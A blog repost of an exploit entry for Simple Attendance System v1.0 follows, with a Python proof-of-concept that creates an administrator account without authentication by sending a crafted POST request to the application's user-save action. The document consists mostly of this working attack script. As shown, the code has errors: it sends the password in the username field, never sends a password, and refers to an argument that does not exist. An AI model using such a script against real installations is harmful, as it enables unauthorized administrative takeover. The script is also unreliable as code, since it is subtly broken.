Monday, September 27, 2021

Simple Attendance System 1.0 Authentication Bypass

# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account
# Exploit Author: Richard Jones
# Date: September 26, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Tested on: Kali Linux, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication.


# Usage: python3 attendance_poc.py -u admin1 -p admin1 -url http://localhost/attendance/
# Then login to the app at http://localhost/attendance/login.php to be logged as admin.


import requests
import argparse


def createAccount(args):
try:
data = f'id=&fullname={args.username}&username={args.password}&type=1'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers)
if r. status_code == 200:
resp = r.text
if "Username already exists." in resp:
print(f"Username \"{args.username}\" taken!\nChange it and try again. ")
if "New User successfully saved." in resp:
print("Created User")
print(f"Username: {args.username}\nPassword: {args.password}")
print(f"\nPlease try to login here: {args.url}login.php")
except:
print("Unknown Error, Check URL and try again.")


def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", help="Username to create", required=True)
parser.add_argument("-p", "--password", help="Password for the user account", required=True)
parser.add_argument("-url", "--host", help="Host for the webapp eg: http://localhost/attendance/ << ends with / ", required=True)
args = parser.parse_args()

createAccount(args)



if __name__ == "__main__":
main()
 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore